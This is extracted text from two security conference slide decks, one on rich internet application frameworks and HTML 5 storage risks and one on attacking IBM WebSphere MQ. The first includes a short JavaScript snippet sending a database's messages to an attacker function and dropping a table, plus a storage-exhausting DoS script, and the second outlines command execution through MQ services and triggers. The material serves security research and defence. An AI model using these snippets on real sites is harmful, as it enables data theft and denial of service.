EntryPointAssembly=" MyAppAssembly "
EntryPointType="MyNamespace . MyApplication "
AllowExternalCallersFromXDomain="FullAccess"
AllowInboundCallsFromXDomain="true">
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Interaction with DOM and Javascript
Crossdomain Access
If hosted on Microsoft Live:
The remotely hosted app can only communicate with the
web page through the key/value pairs passed in initParams
initParams are loaded during execution of the initalization
function, after load they are set to read-only
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Silverlight 2.0
Managed Code
Silverlight version of the .NET framework has been trimmed
down to expose only the functionality that Silverlight
developers deemed necessary:
Collections
LINQ to objects
LINQ to XML
Isolated Storage
Networking
Threading
XML DOM
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
CoreCLR Security Model
Transparency Model
Access to dangerous functions is goverend by the CoreCLR
There is no such thing as code access security (CAS) in
Silverlight
CAS has been replaced by a security model referred to as
the “transparency model”
Although namespaces retain same names, Silverlight code
can only reference libraries shipped with the Silverlight
version of the .NET framework
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
CoreCLR Security Model
Transparency Model
The transparency model breaks up code into three levels with
three security attributes:
1 SecurityTransparentAttribute
2 SecuritySafeCriticalAttribute
3 SecurityCriticalAttribute
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
CoreCLR Security Model
Security Attributes
SecurityTransparentAttribute
Same privelege level as code without a security attribute
defined
Untrusted code that cannot call any functions or access
any fields that elevate the call stack.
This is the default privlege level of all application code
Can also be platform code
s t a t i c
I s o l a t e d S t o r a g e F i l e () ;
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
CoreCLR Security Model
Security Attributes
SecuritySafeCriticalAttribute
Partial trust code that acts as the gateway between
transparent code and full trust code.
This security attribute was intoduced with Silverlight 2.0
Assemblies containing code marked with
SecuritySafeCritical attribute must be signed with
Microsoft public key.
[ S e c u r i t y S a f e C r i t i c a l ]
p u b l i c
s t a t i c
I s o l a t e d S t o r a g e F i l e
G e t U s e r S t o r e F o r A p p l i c a t i o n () ;
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
CoreCLR Security Model
Security Attributes
SecurityCriticalAttribute
Full trust code that can access OS resources such as
filesystem
Assemblies containing code marked with
SecuritySafeCritical attribute must be signed with
Microsoft public key.
[ S e c u r i t y C r i t i c a l ]
p r i v a t e
s t a t i c
s t r i n g
FetchOrCreateStore ( s t r i n g
groupName ,
s t r i n g
storeName ,
I s o l a t e d S t o r a g e F i l e
i s f )
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
CoreCLR Security Model
Transparency Model
SecuritySafeCritical code acts as the gatekeeper of the sandbox
The CoreCLR only allows transparent code
(SecurityTransparent or SecuritySafeCritcal) to execute
SecuritySafeCritical code is the only code that can call
SecurityCritical methods
So can’t I make my own custom assemblies and define the
SecuritySafeCritical attribute?
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
CoreCLR Security Model
Transparency Model
Not if Microsoft can help it:
The CoreCLR prevents us from defining anything in my
custom assemblies as SecuritySafeCritical
When code with the security attribute SecuritySafeCritical
attempts to execute in the CoreCLR:
The loading assembly is verfied with a Microsoft key
The path of the loading assembly is checked against the
Silverlight install directory
The CoreCLR effectively ignores any attempts to call
unverified SecuritySafeCritical code
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Interaction with the Operating System
File System
File System
Isolated storage is available to the Silverlight application
through the System.IO.IsolatedStorage namespace
The default storage quota is 1 MB, and data is stored in
the local application settings folder of the user
When local storage is requested by an SL app,
identification strings are generated, ids are based on
pathname of application
The same isolated storage directory will be accesible by
any SL app with the same application and group IDs
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Interaction with the Operating System
File System
Silverlight 2.0 ships with a Silverlight configuration utility
Using the configuration utility, the user has the option to
Disallow access to isolated storage completely,
Allow access to isolated storage on a site by site basis,
Configure the default storage quota
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Interaction with the Operating System
File System
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Interaction with the Operating System
Network Sockets
Network sockets are available to the Silverlight
applications through the System.Net.Sockets namespace
Currently only supports TCP sockets
Socket connections can only push data to the client
Socket connections can be initiated only between the
client and the site of origin of the SL app, unless there
exists a crossdomainpolicy.xml or clientaccesspolicy.xml in
the root directory of the remote path
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Networking
HTTP Requests
Silverlight 1.0 uses a Javascript object model similar to
XmlHttpRequest
Silverlight 2.0 uses WebClient
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Questions about Gears
Runs disconnected
Standalone app
Privileged OS access
Can launch itself
Local data storage
Has an installer
Raw network sockets
Cross-domain XHR
Dedicated session management
Can talk to the calling DOM
. . .
IPC mechanisms
Proper SSL security
. . .
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Google Gears
Uses a homegrown API for synchronizing data
Local SQLite instance used for data storage
LocalServer hosts content locally for offline access
Works offline via SQL database, local assets, and a local
app server, LocalServer
LocalServer acts as a broker between the browser and
webserver
Changes behavior depending on online status
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Google Gears
Security mechanisms
Uses same origin to restrict access to site databases and
LocalServer resource capture
Provides for parameterized SQL
Opt-in user dialog
Gears 0.3 allows for “customization” of this dialog. . .
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Google Gears
Win! j/k fail
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Google Gears
Here to stay?
Seen very limited adoption thus far
Most of the functionality is included in the HTML 5 spec
So, moving on. . .
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Mozilla Prism
Quick Summary
Runs disconnected
Standalone app
Privileged OS access
Can launch itself
Local data storage
Has an installer
Raw network sockets
Cross-domain XHR
Dedicated session management
Can talk to the calling DOM
IPC mechanisms
Proper SSL security
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Mozilla Prism
Formerly WebRunner — wraps webapps to appear as
desktop apps
Standalone browser instance, restricted to one domain
External links open a regular browser
Separate user profile
Certificate errors are a hard failure
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Mozilla Prism
Consists of a webapp bundle with id, URI, CSS, scripting
and UI rules in an INI:
[ Parameters ]
i d=i s e c . s i t e @ i s e c p a r t n e r s . com
u r i=h t t p s ://www. i s e c p a r t n e r s . com/
i con=i s e c
s t a t u s=no
l o c a t i o n=no
s i d e b a r=no
n a v i g a t i o n=no
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Mozilla Prism
Example bundles
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Mozilla Prism
Bundles
Javascript included with webapp bundles has full XPCOM
privs (but not content scripting privs)
Script in 3rd-party bundles allows modifying browser
behavior just like an extension
Unlike add-ons, no mechanism for signing or verifying
goodness of webapp bundles
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Mozilla Prism
Prism Install UI
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Mozilla Prism
Abuse
Looks like a bookmark dialog
No warnings for install
Full XPCOM scripting privileges
Low bar for trojans and malicious code — a malicious
browser extension, but with no code signing or warning
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Mozilla Prism
Demo
Demo
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
HTML 5
New “features” in Firefox and WebKit
Introduces DOM storage — sessionStorage and
localStorage
sessionStorage stores arbitrary amounts of data for a single
session
localStorage persists beyond the session — never expires,
limited to 5M
Database storage via openDatabase()
All expected to be same-origin
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
DOM Storage
The major goals of DOM storage — more storage space
and real persistence
Cookies considered too small
Users delete cookies, or won’t accept them
DOM storage bypasses pesky users
However, pesky users can use:
about:config dom.storage.enabled = false
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Browser-based SQL Databases
DatabaseJacking
Injection attacks become far more damaging when you can
insert code like this:
var
db=openDatabase ( "e-mail" ,
[ ] ,
"My
precious e-mail" ,
"3.14" ) ;
a l l m e s s a g e s=db . e x e c u t e S q l ( "SELECT * FROM
MSGS" ,
[ ] ,
f u n c t i o n ( r e s u l t s ) {
sendToAttacker ( r e s u l t s ) ;
}
) ;
db . e x e c u t e S q l ( "DROP
TABLE
MESSAGES" ,
[ ] ,
f u n c t i o n () {
a l e r t ( "lol" ) ;
}
) ;
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Firefox 3
Mozilla-specific issues
Cross-Site XMLHttpRequest — removed in late FF3
betas, but it may return
globalStorage
FF2 has weak same-origin restrictions
FF2 and FF3 both omit any UI to view/change/delete
Deprecated in HTML 5 for localStorage
The RIA world is totally SQL-happy
Downloads, cookies, form history, search history, etc, all
stored in local SQLite databases
Why?? This data isn’t relational.
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Firefox 3
Additional fun
Speaking of tracking and data storage. . .
Did you have History turned off? FF3 turned it back on.
Also new in FF3: nsIdleService — idle tracking through
XPCOM
EXSLT — eXtensible Stylesheet Language
Transformations weren’t extensible enough, so here are the
extensions.
Websites can now be protocol handlers — a novel way to
implement spyware
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Webkit
The Lurking Menace
Used in Safari, iPhone, Android, OpenMoko, Konqueror
Supports HTML 5 DOM storage mechanisms
Particularly crucial on mobile devices, where storage is at a
premium
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Inherent DoS Risks in HTML 5
5M per origin for database objects
5M per origin for localStorage
5M per origin for globalStorage (in Firefox)
Thankfully, no one has hundreds of thousands of origins
Except people on internal class A networks
Or anyone with wildcard DNS
Trivial storage exhaustion attacks possible
Even more so for mobile devices based on WebKit — plus,
storage and RAM are often pooled on these
No exposed UI to disable this
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
DoS Risks in HTML 5
Attack Scenarios
Attacker sets up or compromises web server with wildcard
DNS
Upon page visitation of the main virtual host, an IFRAME
loads which runs Javascript like this:
f u n c t i o n
s t o r e t h i n g s (name) {
g l o b a l S t o r a g e [ ’ c y b e r v i l l a i n s . org ’ ] [ name ] = "Hi there , from
iSEC!" ;
}
f u n c t i o n
mul0
( s t r ,
num) {
i f
( ! num)
r e t u r n
"" ;
var
newStr = s t r ;
w h i l e (−−num)
newStr += s t r ;
r e t u r n
newStr ;
}
var
i = 0;
w h i l e
( i < 10000) {
whee = mul0 ( "A" ,10000) ;
s t o r e t h i n g s ( whee + i ) ;
i ++;
}
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
DoS Risks in HTML 5
Attack Scenarios
Each request loads a page instantiating globalStorage
and/or localStorage and database objects
Fill the victim’s hard drive with incriminating evidence —
base64-encoded images/files, etc. . .
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Other HTML 5 features not yet implemented
Coming soon to a browser near you
TCP Connections! Direct ones and broadcast.
Section 7.3.8, Security: “Need to write this section.” 1
1http://www.w3.org/html/wg/html5/
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
RIA vs OS
Storage
All of these frameworks expand the capabilities to store
data locally
Introduce privacy/tracking concerns
DoS risk against desktops and mobile devices
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
RIA vs OS
Malware
Adobe AIR is a desktop application framework
AIR can easily seed malware
The effectiveness of malware attacks will be directly
related to the popularity of the platform and the ease of
install
Large media attack surfaces pose another option
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
RIA vs the web
Or vice versa
Most RIA frameworks and HTML 5 include mechanisms
for SQL-based storage
XSS now has access to huge, easily retrievable data stores,
often pre-login
Retrieving query parameters from untrusted sources can
now leads to SQL injection
CSRF from the RIA app to the browser usually still
possible
Silverlight and AIR accept input from calling sites, opening
Flash-like XSS and XSF vulns
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
RIA Developer Checklist
Prevent predictably named data stores — use a per-user
GUID embedded in dynamically generated page
Parameterize SQL statements
Lock your AIR app to your domain if possible
Beware of passed-in arguments. Don’t use them in
JavaScript or to fetch URLs
Be very careful with sandbox bridging. Don’t get cute
about bypassing AIR security model
Use Flex or Flash if you don’t need local power of AIR
. . . and you probably don’t
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
RIA Framework Vendors
Local Storage Security
Let users opt out.
User choice is missing here
Cookies have been opt-out for ages, but other tracking
mechanisms haven’t caught up
Limit storage invocations
5M per origin is way too much without user interaction,
especially on mobile devices
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
RIA Framework Vendors
Install Mechanisms
Learn from Microsoft’s mistakes
They invented RIA with ActiveX
Advantage: Malware
Bad guys can get certs. We have a code signing cert from
Verisign, and we’re professional bad guys
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
RIA Framework Vendors
Install Mechanisms
Users will click yes enough to invite abuse
Do not allow self-signed anything without setting an
external developer bit
Install needs to take longer
Watch out for install window DoSing to force a “yes”
Using .exe download and install as baseline is not
acceptable
RIA frameworks need an equivalent to ActiveX killbits
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
RIA Framework Vendors
Attack Surfaces
RIA Frameworks are expanding security attack surface
Audio codecs
Video codecs
IL Parser / Virtual Machine
Embedded HTML renderer, JavaScript engine, image
libraries
Users do not understand the danger
Too many exploits will lead to backlash, mass uninstall
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
Users and Administrators
Advice for Corporate Admins
Disallow install of RIA frameworks without legitimate
business need
For Windows, GPO can disable per CLSID
Once installed, IEAK becomes useless in enforcing policy in
alternative installers
Discourage development teams from using RIA
unnecessarily
Understand local framework settings that you can set
remotely
Disable self-signed AIR install
Block blobs at border proxy if necessary
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
Users and Administrators
Advice for Normal People
Don’t install frameworks you don’t need
Use NoScript or equivalent to block JS/Flash/Silverlight
instantiation except when you want it
Read install boxes carefully
Buy gold, guns, and canned food
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
Summary
RIA frameworks widely differ in their security models
It is highly likely that web developers will introduce
interesting flaws into their desktop applications
The Web is becoming less standardized, more complex,
and much more dangerous
To Be Done
Automated auditing tools for these frameworks are
necessary
Detailed per-framework checklists need to be created
Plenty of bugs to find for everyone
Living in the
RIA World
Security
Checklist
RIA Developers
RIA Framework
Vendors
Users and
Administrators
Summary
Q&A
Q&A
Thanks for coming!
Questions?
https://www.isecpartners.com
Living in the
RIA World
Appendix
For Further
Reading
For Further Reading
Lutz Roeder.
Reflector for .NET
http://www.aisto.com/roeder/dotnet/
Kevin Kelly, Gary Wolf
Kiss your browser goodbye: The radical future of media
beyond the Web
Wired 5.03. March, 1997
Ian Hickson, David Hyatt
A vocabulary and associated APIs for HTML and XHTML
http://www.w3.org/html/wg/html5/ — July 1 2008 | pdf |
MQ Jumping
. . . . Or, move to the front of
the queue, pass go and collect
£200
Martyn Ruks
DEFCON 15
2007-08-03
2
One Year Ago
•
Last year I talked about IBM Networking attacks and said I
was going to continue with my research.
•
But like any penetration tester I had other client work to do
and that led to me looking at Websphere MQ.
•
It was so interesting I decided to do some more research
and hence the reason I’m here again.
•
It wasn’t a conscious decision to look at IBM technology,
it should be seen as an indication of the level of adoption
of IBM technology in the marketplace.
3
Introduction
4
Who am I ?
•
My name is Martyn Ruks and I am a Security Consultant
with MWR InfoSecurity in the UK.
•
I have approached this subject from the perspective of a
penetration tester and then as a security researcher. I do
not have a formal background in IBM computing.
•
I chose the subject of the presentation based on a number
of interesting client engagements.
5
Intended Audience
This talk is aimed at the following people:
• Security Managers
• Penetration Testers
• Application Developers
There are no pre-requisites for the contents of
this presentation.
6
What will I talk about
• Websphere MQ is a Middleware application
for Messaging
• MQ is a huge topic so I will focus on a number
of specific areas today
• I will talk about a TCP/IP environment
• All the research has been conducted against
Windows and UNIX platforms
7
Why study Websphere MQ?
• The systems that communicate using it are usually
business critical.
• Tools for testing the software are not currently in the public
domain.
• The lack of security testing knowledge means that users
of the software are potentially exposed to risk.
• If you own the Middleware you usually own the business
process.
8
Technical Background
9
MQ Series – A brief history
• In 1993 IBM bought IP rights to ezBridge from SSI Systems
• IBM produced a Mainframe version and SSI for other platforms
• In 1994/5 IBM produced versions for AIX, OS/2 and AS/400
• MQSeries was renamed Websphere MQ at version 5.3
• The new and improved version 6.0 was revealed in April 2005
10
Why do Businesses use MQ ?
• A unified messaging solution is vital for a business that
relies on reliable data communication.
• Websphere MQ is solid and stable Enterprise technology
• It runs on lots of platforms (Windows, Unix, Mainframes)
• It has lots of feature rich APIs (C, Java, PERL)
• It has accounting and lots of other Enterprise functionality
11
A Typical Environment
Picture Taken from document by Joe Conron
12
Terminology
A number of key terms are used within the MQ world
• Queue Managers
• Channels
• Queues
• Triggers and monitors
We will cover these in more detail as we go along
13
What is a Queue Manager ?
•
A Queue Manager is an application that is responsible
for managing the message queues.
•
One instance of a Queue Manager can exist on any
one TCP port.
•
Each Queue Manager is an independent entity but
they can be linked.
•
You often find multiple Queue Managers on a system
(Production, Development etc).
14
What is a Channel ?
• A channel is a logical connection between a client
and a server or two servers.
• Essentially a channel is a conduit to get to the
message queues
• There are several types of channel and each can
be used in a different way.
15
What is a Queue ?
• A queue is a storage container for messages (data)
• Everything in MQ is based on using Queues for
moving data around
• They are usually a FIFO structure
(except when using priorities)
• Queues can be opened and then GET or PUT
operations used to move the data around
16
The WebSphere MQ Protocol
• Information about the protocol is not public but is
in Ethereal/Wireshark
• Each packet contains a series of discreet sections
• The layers in each packet depend on the type of
operation it is performing
• All packets contain a Transmission Segment Header
(TSH)
17
A Typical Packet
18
PCF Commands
• Programmable Command Format (PCF) can be used
to manage the Queue Manager itself.
• They are passed to the Queue Manager as a data
section within a normal GET or PUT message
• A PCF data structure has a header and a number of
parameters in a number of well defined format
19
Issuing PCF Commands
A number of steps are required to execute a PCF
command: -
1.Connect to the Queue Manager
2.Open the System’s Admin queue
3.Open a Dynamic (Model) queue for the data
4.Use MQ PUT onto the Admin queue
5.Use MQ GET on the Dynamic queue
20
Security Features
21
Security Features
There are essentially three types of security feature
• MCAUSER – A tag within the packet that identifies
the locally logged on user.
• Security Exit – An external program that can be
used for access control.
• SSL/TLS – Transport security and access control
using certificates and DN based user filtering.
22
MCAUSER – The Basics
•
It is a parameter that is passed in parts of the message
packets.
•
There are lots of rules about how the MCAUSER works.
•
The MCAUSER parameter on the Server Connection
channel basically tells MQ which user to run under.
•
In simple terms it’s a method of controlling access based
on the user running a process which accesses a queue.
23
MCAUSER - Limitations
•
By default a blank MCAUSER will be present on
SYSTEM channels.
•
The MCAUSER data in packets is a client side
security control only.
•
There is lots of confusion about what MCAUSER
security actually means.
•
Never rely on MCAUSER settings to protect
your installation.
24
Security Exits – The Basics
• A security exit is an external program that can be
executed before an MQ connection is established.
• The exit can technically be written to perform
any operation.
• Usually the exit checks a username and password.
• Protecting a channel with a security exit enforces
access control.
25
Security Exits – Limitations
• A security exit on a cleartext channel can be just
as bad as Telnet
• Insecure code could get your system compromised
• MQ has to make sure the security exit actually
gets called
26
SSL Support – The Basics
•
MQ can support SSL and TLS connections on a per
channel basis
•
The Queue Manager can communicate using both cleartext
and encryption on the same TCP port
•
Only one cipher suite is supported on a channel
•
Version 0.9.8a of OpenSSL supports all of MQ’s SSL versions
•
FIPS Compliance can be achieved using just the software
or with hardware accelerators
27
SSL Support - Limitations
•
Cycling through the ciphers lets you see which one is
supported on a channel
•
Supporting SSL does not enforce any authentication control
by default
•
The tools I have written work just as well over SSL as they do
over Cleartext
•
Remote host authentication is based on the trusted CAs
in the key repository
28
SSL Client Authentication – The Basics
•
The Queue Manager can be configured to accept connections
only from clients with certificates from authorised CAs
•
Filtering of users can be achieved based on the values in
the DN of the client’s certificate.
•
Both ends of the connection can be authenticated based
on the data held within the key repository at each side.
29
SSL Client Authentication – Limitations
•
By default a large number of trusted CAs are
included in a key repository
•
An attacker with a certificate signed by a trusted
CA can still gain access
•
This attack is easy to accomplish using the OpenSSL
based tools discussed earlier
•
SSL DN filtering pattern matches from the start of
the string but doesn’t care about trailing characters
30
Testing Websphere MQ
31
Connecting to MQ
The success of connection will depend on a number
of things
• Finding the correct port to connect to
• Knowing a channel name to communicate with
• The MCAUSER of the channels on the system
• The use of a security exit on the channels
• The use of SSL and certificate based authentication
32
Finding Websphere MQ
• By default a Queue Manager will listen on TCP
port 1414
• We can attempt the MQ Initial Data handshake
against the ports on our target
• If we get a response we have found MQ and we get
the name of the Queue Manager returned as well
• We will see this in the demo later in the talk
33
How to Connect
34
Channel Auto Definition
• Channel Auto definition is a feature that allows the
automatic creation of a channel.
• At connection time if the specified channel doesn’t
exist it will be automatically created.
• If Auto definition is enabled and a poorly secured
template is used you might get lucky.
35
Once Connected
Once connected your actions are dependent on the
MCAUSER permissions on the channel but you
could: -
• Issue PCF commands
• Open and browse queues
• GET and PUT data
• Execute OS Commands
36
Useful PCF Commands
If you can execute PCF in reality its game over, but
there are still useful things to try
• Version Enumeration
• Channel discovery
• Queue Discovery
• Permission data
37
Executing Commands – Method 1
• Websphere Version 6.0 supports “Services”
• PCF can be used to Create, Delete, Start, Stop,
Inquire them
• A service defines an external application that can
be run
• If PCF can be executed so can Operating System
commands
38
Executing Commands – Method 2
•
Triggers can be defined which fire when messages
are placed on a given queue
•
PCF commands need to be executed to set up the
process and the queue
1. Create a new process for our command
2. Alter a queue or create a new one with trigger control on
3. Place a message onto the relevant queue
•
If a trigger monitor is running it will execute the process
using the privileges it is started with
39
Executing Commands – Method 2.1
• Rather than setting all the queues up its easier just
to put the data onto the initiation queue
• If the correct format of data is used in the PUT the
command will be executed
• If a message is left on the initiation queue when
the trigger monitor is not running it will execute
when it is next started
40
I’m Not Scared Yet !!
• In the process of testing client installations I
discovered two new vulnerabilities
• These vulnerabilities were reported to IBM in
January and May 2007.
• I spoke directly to the MQ development team and
used CPNI in the UK to report these issues
STATUS OF ISSUE FROM IBM TO BE UPDATED
41
Security Exit Bypass
• A vulnerability was discovered that enabled a
security exit to be bypassed
• This allows access to a protected channel
• Versions 5.1 – 5.3 on Solaris are vulnerable
• Version 6 on Windows was not vulnerable
STATUS OF ISSUE FROM IBM TO BE UPDATED
42
Invalid MCAUSER Bypass
• A vulnerability was discovered that enabled a channel
set to an MCAUSER of nobody to be accessed
• Versions 5.1 – 5.3 and 6.0 on Solaris and Windows
are known to be vulnerable
• Of the versions I have tested all have been
affected by the issue
STATUS OF ISSUE FROM IBM TO BE UPDATED
43
How to exploit the vulnerabilities
DETAILS TO BE RELEASED ON THE DAY
44
Our Toolkit – Part 1
• Find MQ services on hosts on the network
• Confirm a list of channels on the system
• Test SSL settings on each channel
• Recover Information about the Queue Manager,
Channels, Queues, Triggers, Processes
45
Our Toolkit – Part 2
• Read data from a Queue
• Write data to a Queue
• Execute commands using a previously created
trigger monitor
• Execute commands using the Create Service
command
46
The Tools
• I have written a set of classes for defining MQ traffic
and various useful payloads
• It is written in Python and is still in active development
• The generic classes and one sample tool are
now available
• If you look closely at the code you can build your
own interesting packets
47
More Information
• I am in the process of writing a white paper on MQ
security
• It will have lots of detail about the areas I have
talked about plus some others
• This will be published within the next month
• You will be able top find it at: -
http://www.mwrinfosecurity.com
48
Demo – The Setup
49
Demo – The Objectives
